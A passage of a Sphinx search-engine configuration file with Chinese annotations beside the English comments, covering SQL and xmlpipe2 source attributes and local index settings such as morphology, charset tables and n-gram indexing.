\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# string ordinal attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# sorts strings (bytewise), and stores their indexes in the sorted list \u0026nbsp;\n\u0026nbsp;\n# sorting by this attr is equivalent to sorting by the original strings \u0026nbsp;\n\u0026nbsp;\n# 声明字符串字段 用于排序等,但此字段不会被存储 \u0026nbsp;\n\u0026nbsp;\n# sql_attr_str2ordinal = author_name \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# floating point attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# values are stored in single precision, 32-bit IEEE 754 format \u0026nbsp;\n\u0026nbsp;\n# 声明浮点字段 \u0026nbsp;\n\u0026nbsp;\n# sql_attr_float = lat_radians \u0026nbsp;\n\u0026nbsp;\n# sql_attr_float = long_radians \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# multi-valued attribute (MVA) attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of attributes is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# MVA values are variable length lists of unsigned 32-bit integers \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# syntax is ATTR-TYPE ATTR-NAME \u0026#8216;from\u0026#8217; SOURCE-TYPE [;QUERY] [;RANGE-QUERY] \u0026nbsp;\n\u0026nbsp;\n# ATTR-TYPE is \u0026#8216;uint\u0026#8217; or \u0026#8216;timestamp\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# SOURCE-TYPE is \u0026#8216;field\u0026#8217;, \u0026#8216;query\u0026#8217;, or \u0026#8216;ranged-query\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# QUERY is SQL query used to fetch all ( docid, attrvalue ) pairs \u0026nbsp;\n\u0026nbsp;\n# RANGE-QUERY is SQL query used to fetch min and max ID values, similar to \u0026#8216;sql_query_range\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# 声明复合字段 \u0026nbsp;\n\u0026nbsp;\n# sql_attr_multi = uint tag from query; SELECT docid, tagid FROM tags \u0026nbsp;\n\u0026nbsp;\n# sql_attr_multi = uint tag from ranged-query; \\ \u0026nbsp;\n\u0026nbsp;\n# SELECT docid, tagid FROM tags WHERE id\u0026gt;=$start AND id\u0026lt;=$end; \\ \u0026nbsp;\n\u0026nbsp;\n# SELECT MIN(docid), MAX(docid) FROM tags \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# string attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of these is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# lets you store and retrieve strings \u0026nbsp;\n\u0026nbsp;\n# 只是把数据存储,但不会索引改字段 \u0026nbsp;\n\u0026nbsp;\n# sql_attr_string = stitle \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# wordcount attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value (an arbitrary number of these is allowed), optional \u0026nbsp;\n\u0026nbsp;\n# lets you count the words at indexing time \u0026nbsp;\n\u0026nbsp;\n# 将转化成关键字的字段,用于提高匹配率 \u0026nbsp;\n\u0026nbsp;\n# sql_attr_str2wordcount = stitle \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# combined field plus attribute declaration (from a single column) \u0026nbsp;\n\u0026nbsp;\n# stores column as an attribute, but also indexes it as a full-text field \u0026nbsp;\n\u0026nbsp;\n# 跟sql_attr_string不同是该属性加入索引 \u0026nbsp;\n\u0026nbsp;\n# sql_field_string = author \u0026nbsp;\n\u0026nbsp;\n# sql_field_str2wordcount = title \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# post-query, executed on sql_query completion \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# 取后查询 \u0026nbsp;\n\u0026nbsp;\n# sql_query_post = \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# post-index-query, executed on successful indexing completion \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# $maxid expands to max document ID actually fetched from DB \u0026nbsp;\n\u0026nbsp;\n# 索引后查询 \u0026nbsp;\n\u0026nbsp;\n# sql_query_post_index = REPLACE INTO counters ( id, val ) \\ \u0026nbsp;\n\u0026nbsp;\n# VALUES ( \u0026#8216;max_indexed_id\u0026#8217;, $maxid ) \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# ranged query throttling, in milliseconds \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 which means no delay \u0026nbsp;\n\u0026nbsp;\n# enforces given delay before each query step \u0026nbsp;\n\u0026nbsp;\n#分区查询的时间间隔 \u0026nbsp;\n\u0026nbsp;\nsql_ranged_throttle = 0 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# document info query, ONLY for CLI search (ie. testing and debugging) \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# must contain $id macro and must fetch the document by that id \u0026nbsp;\n\u0026nbsp;\n#命令行调试查询结果用 \u0026nbsp;\n\u0026nbsp;\nsql_query_info = SELECT * FROM ko_link WHERE id=$id \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# kill-list query, fetches the document IDs for kill-list \u0026nbsp;\n\u0026nbsp;\n# k-list will suppress matches from preceding indexes in the same query \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n##清理指定查询ID列表,对于数据的更改 \u0026nbsp;\n\u0026nbsp;\n# sql_query_killlist = SELECT id FROM documents WHERE edited\u0026gt;=@last_reindex \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# columns to unpack on indexer side when indexing \u0026nbsp;\n\u0026nbsp;\n# multi-value, optional, default is empty list \u0026nbsp;\n\u0026nbsp;\n# 启用ZIP压缩 可以降低系统负载 但必须保证zlib库zlib-dev库可用 \u0026nbsp;\n\u0026nbsp;\n# unpack_zlib = zlib_column \u0026nbsp;\n\u0026nbsp;\n# unpack_mysqlcompress = compressed_column \u0026nbsp;\n\u0026nbsp;\n# unpack_mysqlcompress = compressed_column_2 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# maximum unpacked length allowed in MySQL COMPRESS() unpacker \u0026nbsp;\n\u0026nbsp;\n# optional, default is 16M \u0026nbsp;\n\u0026nbsp;\n# 压缩缓存区大小 不能小于字段存储值 \u0026nbsp;\n\u0026nbsp;\n# unpack_mysqlcompress_maxsize = 16M \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n##################################################################### \u0026nbsp;\n\u0026nbsp;\n## xmlpipe2 配置 \u0026nbsp;\n\u0026nbsp;\n##################################################################### \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# type = xmlpipe \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# shell command to invoke xmlpipe stream producer \u0026nbsp;\n\u0026nbsp;\n# mandatory \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# xmlpipe_command = cat /usr/local/sphinx/var/test.xml \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# xmlpipe2 field declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value, optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# xmlpipe_field = subject \u0026nbsp;\n\u0026nbsp;\n# xmlpipe_field = content \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# xmlpipe2 attribute declaration \u0026nbsp;\n\u0026nbsp;\n# multi-value, optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# all xmlpipe_attr_XXX options are fully similar to sql_attr_XXX \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# xmlpipe_attr_timestamp = published \u0026nbsp;\n\u0026nbsp;\n# xmlpipe_attr_uint = author_id \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# perform UTF-8 validation, and filter out incorrect codes \u0026nbsp;\n\u0026nbsp;\n# avoids XML parser choking on non-UTF-8 documents \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# xmlpipe_fixup_utf8 = 1 \u0026nbsp;\n\u0026nbsp;\n} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# inherited source example \u0026nbsp;\n\u0026nbsp;\n# 继承数据源 \u0026nbsp;\n\u0026nbsp;\n# all the parameters are copied from the parent source, \u0026nbsp;\n\u0026nbsp;\n# and may then be overridden in this source definition \u0026nbsp;\n\u0026nbsp;\n#source src1throttled : src1 \u0026nbsp;\n\u0026nbsp;\n#{ \u0026nbsp;\n\u0026nbsp;\n# sql_ranged_throttle = 100 \u0026nbsp;\n\u0026nbsp;\n#} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n## index definition \u0026nbsp;\n\u0026nbsp;\n############################################################################# \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# local index example \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# this is an index which is stored locally in the filesystem \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# all indexing-time options (such as morphology and charsets) \u0026nbsp;\n\u0026nbsp;\n# are configured per local index \u0026nbsp;\n\u0026nbsp;\nindex test1 \u0026nbsp;\n\u0026nbsp;\n{ \u0026nbsp;\n\u0026nbsp;\n# index type \u0026nbsp;\n\u0026nbsp;\n# optional, default is \u0026#8216;plain\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# known values are \u0026#8216;plain\u0026#8217;, \u0026#8216;distributed\u0026#8217;, and \u0026#8216;rt\u0026#8217; (see samples below) \u0026nbsp;\n\u0026nbsp;\n#索引类型 本地 分布式 \u0026nbsp;\n\u0026nbsp;\n# type = plain \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# document source(s) to index \u0026nbsp;\n\u0026nbsp;\n# multi-value, mandatory \u0026nbsp;\n\u0026nbsp;\n# document IDs must be globally unique across all sources \u0026nbsp;\n\u0026nbsp;\n#数据源,可以多个数据源 \u0026nbsp;\n\u0026nbsp;\nsource = src1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# index files path and file name, without extension \u0026nbsp;\n\u0026nbsp;\n# mandatory, path must be writable, extensions will be auto-appended \u0026nbsp;\n\u0026nbsp;\n# 索引保存路径 \u0026nbsp;\n\u0026nbsp;\npath = /usr/local/sphinx/var/data/test1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# document attribute values (docinfo) storage mode \u0026nbsp;\n\u0026nbsp;\n# optional, default is \u0026#8216;extern\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# known values are \u0026#8216;none\u0026#8217;, \u0026#8216;extern\u0026#8217; and \u0026#8216;inline\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n#索引存储方式 \u0026nbsp;\n\u0026nbsp;\ndocinfo = extern \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# memory locking for cached data (.spa and .spi), to prevent swapping \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (do not mlock) \u0026nbsp;\n\u0026nbsp;\n# requires searchd to be run from root \u0026nbsp;\n\u0026nbsp;\n#内存锁定 需要保证足够权限 \u0026nbsp;\n\u0026nbsp;\nmlock = 0 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# a list of morphology preprocessors to apply \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# builtin preprocessors are \u0026#8216;none\u0026#8217;, \u0026#8216;stem_en\u0026#8217;, \u0026#8216;stem_ru\u0026#8217;, \u0026#8216;stem_enru\u0026#8217;, \u0026nbsp;\n\u0026nbsp;\n# \u0026#8216;soundex\u0026#8217;, and \u0026#8216;metaphone\u0026#8217;; additional preprocessors available from \u0026nbsp;\n\u0026nbsp;\n# libstemmer are \u0026#8216;libstemmer_XXX\u0026#8217;, where XXX is algorithm code \u0026nbsp;\n\u0026nbsp;\n# (see libstemmer_c/libstemmer/modules.txt) \u0026nbsp;\n\u0026nbsp;\n# 词语提取器 \u0026nbsp;\n\u0026nbsp;\n# morphology = stem_en, stem_ru, soundex \u0026nbsp;\n\u0026nbsp;\n# morphology = libstemmer_german \u0026nbsp;\n\u0026nbsp;\n# morphology = libstemmer_sv \u0026nbsp;\n\u0026nbsp;\nmorphology = stem_en \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# minimum word length at which to enable stemming \u0026nbsp;\n\u0026nbsp;\n# optional, default is 1 (stem everything) \u0026nbsp;\n\u0026nbsp;\n# 词干化的最小词长 \u0026nbsp;\n\u0026nbsp;\n# min_stemming_len = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# stopword files list (space separated) \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# contents are plain text, charset_table and stemming are both applied \u0026nbsp;\n\u0026nbsp;\n# 停用搜索词 \u0026nbsp;\n\u0026nbsp;\n# stopwords = /usr/local/sphinx/var/data/stopwords.txt \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# wordforms file, in \u0026#8220;mapfrom \u0026gt; mapto\u0026#8221; plain text format \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# 词型字典 可用spelldump工具生成 \u0026nbsp;\n\u0026nbsp;\n# wordforms = /usr/local/sphinx/var/data/wordforms.txt \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# tokenizing exceptions file \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n#Token特例文件,就是有些词是完整词意,不能拆分索引如a\u0026amp;t 跟a \u0026amp; t \u0026nbsp;\n\u0026nbsp;\n# plain text, case sensitive, space insensitive in map-from part \u0026nbsp;\n\u0026nbsp;\n# one \u0026#8220;Map Several Words =\u0026gt; ToASingleOne\u0026#8221; entry per line \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# exceptions = /usr/local/sphinx/var/data/exceptions.txt \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# minimum indexed word length \u0026nbsp;\n\u0026nbsp;\n# default is 1 (index everything) \u0026nbsp;\n\u0026nbsp;\n# 最小索引长度,就是小于指定长度的词不被索引 \u0026nbsp;\n\u0026nbsp;\nmin_word_len = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# charset encoding type \u0026nbsp;\n\u0026nbsp;\n# optional, default is \u0026#8216;sbcs\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# known types are \u0026#8216;sbcs\u0026#8217; (Single Byte CharSet) and \u0026#8216;utf-8\u0026#8217; \u0026nbsp;\n\u0026nbsp;\n# 字符编码 \u0026nbsp;\n\u0026nbsp;\ncharset_type = utf-8 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# charset definition and case folding rules \u0026#8220;table\u0026#8221; \u0026nbsp;\n\u0026nbsp;\n# optional, default value depends on charset_type \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# defaults are configured to include English and Russian characters only \u0026nbsp;\n\u0026nbsp;\n# you need to change the table to include additional ones \u0026nbsp;\n\u0026nbsp;\n# this behavior MAY change in future versions \u0026nbsp;\n\u0026nbsp;\n# \u0026nbsp;\n\u0026nbsp;\n# \u0026#8216;sbcs\u0026#8217; default value is \u0026nbsp;\n\u0026nbsp;\n# charset_table = 0..9, A..Z-\u0026gt;a..z, _, a..z, U+A8-\u0026gt;U+B8, U+B8, U+C0..U+DF-\u0026gt;U+E0..U+FF, U+E0..U+FF \u0026nbsp;\n\u0026nbsp;\n# 转换字符表 \u0026nbsp;\n\u0026nbsp;\n# \u0026#8216;utf-8\u0026#8217; default value is \u0026nbsp;\n\u0026nbsp;\n# charset_table = 0..9, A..Z-\u0026gt;a..z, _, a..z, U+410..U+42F-\u0026gt;U+430..U+44F, U+430..U+44F \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# ignored characters list \u0026nbsp;\n\u0026nbsp;\n# optional, default value is empty \u0026nbsp;\n\u0026nbsp;\n# 忽略字符表 \u0026nbsp;\n\u0026nbsp;\n# ignore_chars = U+00AD \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# minimum word prefix length to index \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (do not index prefixes) \u0026nbsp;\n\u0026nbsp;\n#索引的最小前缀长度,小心使用,索引和搜索的时间皆会恶化 \u0026nbsp;\n\u0026nbsp;\n# min_prefix_len = 0 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# minimum word infix length to index \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (do not index infixes) \u0026nbsp;\n\u0026nbsp;\n#索引的最小中缀长度 小心使用,索引和搜索的时间皆会恶化 \u0026nbsp;\n\u0026nbsp;\n# min_infix_len = 0 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# list of fields to limit prefix/infix indexing to \u0026nbsp;\n\u0026nbsp;\n# optional, default value is empty (index all fields in prefix/infix mode) \u0026nbsp;\n\u0026nbsp;\n# 未知 \u0026nbsp;\n\u0026nbsp;\n# prefix_fields = filename \u0026nbsp;\n\u0026nbsp;\n# infix_fields = url, domain \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# enable star-syntax (wildcards) when searching prefix/infix indexes \u0026nbsp;\n\u0026nbsp;\n# search-time only, does not affect indexing, can be 0 or 1 \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (do not use wildcard syntax) \u0026nbsp;\n\u0026nbsp;\n# 启用星号语法 \u0026nbsp;\n\u0026nbsp;\n# enable_star = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# expand keywords with exact forms and/or stars when searching fit indexes \u0026nbsp;\n\u0026nbsp;\n# search-time only, does not affect indexing, can be 0 or 1 \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (do not expand keywords) \u0026nbsp;\n\u0026nbsp;\n# 扩大搜索关键字 形式如: running -\u0026gt; ( running | *running* | =running ) \u0026nbsp;\n\u0026nbsp;\n# expand_keywords = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# n-gram length to index, for CJK indexing \u0026nbsp;\n\u0026nbsp;\n# only supports 0 and 1 for now, other lengths to be implemented \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (disable n-grams) \u0026nbsp;\n\u0026nbsp;\n# 中文等其他语言的基本支持 \u0026nbsp;\n\u0026nbsp;\n# ngram_len = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# n-gram characters list, for CJK indexing \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n#中文或其他语言的值范围 \u0026nbsp;\n\u0026nbsp;\n# ngram_chars = U+3000..U+2FA1F \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# phrase boundary characters list \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# 边界符 \u0026nbsp;\n\u0026nbsp;\n# phrase_boundary = ., ?, !, U+2026 # horizontal ellipsis \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# phrase boundary word position increment \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 \u0026nbsp;\n\u0026nbsp;\n# 边界符增量 \u0026nbsp;\n\u0026nbsp;\n# phrase_boundary_step = 100 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# blended characters list \u0026nbsp;\n\u0026nbsp;\n# blended chars are indexed both as separators and valid characters \u0026nbsp;\n\u0026nbsp;\n# for instance, AT\u0026amp;T will results in 3 tokens (\u0026#8220;at\u0026#8221;, \u0026#8220;t\u0026#8221;, and \u0026#8220;at\u0026amp;t\u0026#8221;) \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty \u0026nbsp;\n\u0026nbsp;\n# 混合字符列表 \u0026nbsp;\n\u0026nbsp;\n# blend_chars = +, \u0026amp;, U+23 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# blended token indexing mode \u0026nbsp;\n\u0026nbsp;\n# a comma separated list of blended token indexing variants \u0026nbsp;\n\u0026nbsp;\n# known variants are trim_none, trim_head, trim_tail, trim_both, skip_pure \u0026nbsp;\n\u0026nbsp;\n# optional, default is trim_none \u0026nbsp;\n\u0026nbsp;\n#未知 \u0026nbsp;\n\u0026nbsp;\n# blend_mode = trim_tail, skip_pure \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# whether to strip HTML tags from incoming documents \u0026nbsp;\n\u0026nbsp;\n# known values are 0 (do not strip) and 1 (do strip) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 \u0026nbsp;\n\u0026nbsp;\n# 删除HTML标签 (小心文本被删除) \u0026nbsp;\n\u0026nbsp;\nhtml_strip = 0 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# what HTML attributes to index if stripping HTML \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty (do not index anything) \u0026nbsp;\n\u0026nbsp;\n# 保留的HTML标签 \u0026nbsp;\n\u0026nbsp;\n# html_index_attrs = img=alt,title; a=title; \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# what HTML elements contents to strip \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty (do not strip element contents) \u0026nbsp;\n\u0026nbsp;\n# 不但删除标签,其包含的文本也将删除 \u0026nbsp;\n\u0026nbsp;\n# html_remove_elements = style, script \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# whether to preopen index data files on startup \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (do not preopen), searchd-only \u0026nbsp;\n\u0026nbsp;\n# 预先打开索引还是每次查询的时候在打开索引 \u0026nbsp;\n\u0026nbsp;\n# preopen = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# whether to keep dictionary (.spi) on disk, or cache it in RAM \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (cache in RAM), searchd-only \u0026nbsp;\n\u0026nbsp;\n# 将字典文件是否保存在内存中 \u0026nbsp;\n\u0026nbsp;\n# ondisk_dict = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# whether to enable in-place inversion (2x less disk, 90-95% speed) \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 (use separate temporary files), indexer-only \u0026nbsp;\n\u0026nbsp;\n# 是否启用原地索引倒转 将少磁盘使用 性能会有一点损失 \u0026nbsp;\n\u0026nbsp;\n# inplace_enable = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# in-place fine-tuning options \u0026nbsp;\n\u0026nbsp;\n# optional, defaults are listed below \u0026nbsp;\n\u0026nbsp;\n#微调原地倒转 \u0026nbsp;\n\u0026nbsp;\n# inplace_hit_gap = 0 # preallocated hitlist gap size \u0026nbsp;\n\u0026nbsp;\n# inplace_docinfo_gap = 0 # preallocated docinfo gap size \u0026nbsp;\n\u0026nbsp;\n# inplace_reloc_factor = 0.1 # relocation buffer size within arena \u0026nbsp;\n\u0026nbsp;\n# inplace_write_factor = 0.1 # write buffer size within arena \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# whether to index original keywords along with stemmed versions \u0026nbsp;\n\u0026nbsp;\n# enables \u0026#8220;=exactform\u0026#8221; operator to work \u0026nbsp;\n\u0026nbsp;\n# optional, default is 0 \u0026nbsp;\n\u0026nbsp;\n# 是否在索引原关键词的词干化/重映射后的形式的同时也索引原词 \u0026nbsp;\n\u0026nbsp;\n# index_exact_words = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# position increment on overshort (less that min_word_len) words \u0026nbsp;\n\u0026nbsp;\n# optional, allowed values are 0 and 1, default is 1 \u0026nbsp;\n\u0026nbsp;\n#在经过过短的词（比 min_word_len短的词）处后增加位置值 \u0026nbsp;\n\u0026nbsp;\n# overshort_step = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# position increment on stopword \u0026nbsp;\n\u0026nbsp;\n# optional, allowed values are 0 and 1, default is 1 \u0026nbsp;\n\u0026nbsp;\n#在经过 停用词 处后增加位置值可选选项 \u0026nbsp;\n\u0026nbsp;\n# stopword_step = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# hitless words list \u0026nbsp;\n\u0026nbsp;\n# positions for these keywords will not be stored in the index \u0026nbsp;\n\u0026nbsp;\n# optional, allowed values are \u0026#8216;all\u0026#8217;, or a list file name \u0026nbsp;\n\u0026nbsp;\n# 不能中断的字符列表 \u0026nbsp;\n\u0026nbsp;\n# hitless_words = all \u0026nbsp;\n\u0026nbsp;\n# hitless_words = hitless.txt #字符文件 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# detect and index sentence and paragraph boundaries \u0026nbsp;\n\u0026nbsp;\n# required for the SENTENCE and PARAGRAPH operators to work \u0026nbsp;\n\u0026nbsp;\n# optional, allowed values are 0 and 1, default is 0 \u0026nbsp;\n\u0026nbsp;\n# 是否检查标签合并 针对HTML \u0026nbsp;\n\u0026nbsp;\n# index_sp = 1 \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# index zones, delimited by HTML/XML tags \u0026nbsp;\n\u0026nbsp;\n# a comma separated list of tags and wildcards \u0026nbsp;\n\u0026nbsp;\n# required for the ZONE operator to work \u0026nbsp;\n\u0026nbsp;\n# optional, default is empty string (do not index zones) \u0026nbsp;\n\u0026nbsp;\n# 对HTML标签的权重 \u0026nbsp;\n\u0026nbsp;\n# index_zones = title, h*, th \u0026nbsp;\n\u0026nbsp;\n} \u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n\u0026nbsp;\n# inherited index example \u0026nbsp;\n\u0026nbsp;\n# 索引继承 \u0026nbsp;\n\u0026nbsp;\n# all the parameters are copied from the parent index, \u0026nbsp;\n\u0026nbsp;\n# and may then be overridden in this index definition \u0026nbsp;\n\u0026nbsp;\n#index test1stemmed : test1 \u0026nbsp;\n\u0026nbsp;\n#{ \u0026nbsp;\n\u0026nbsp;\n# path = 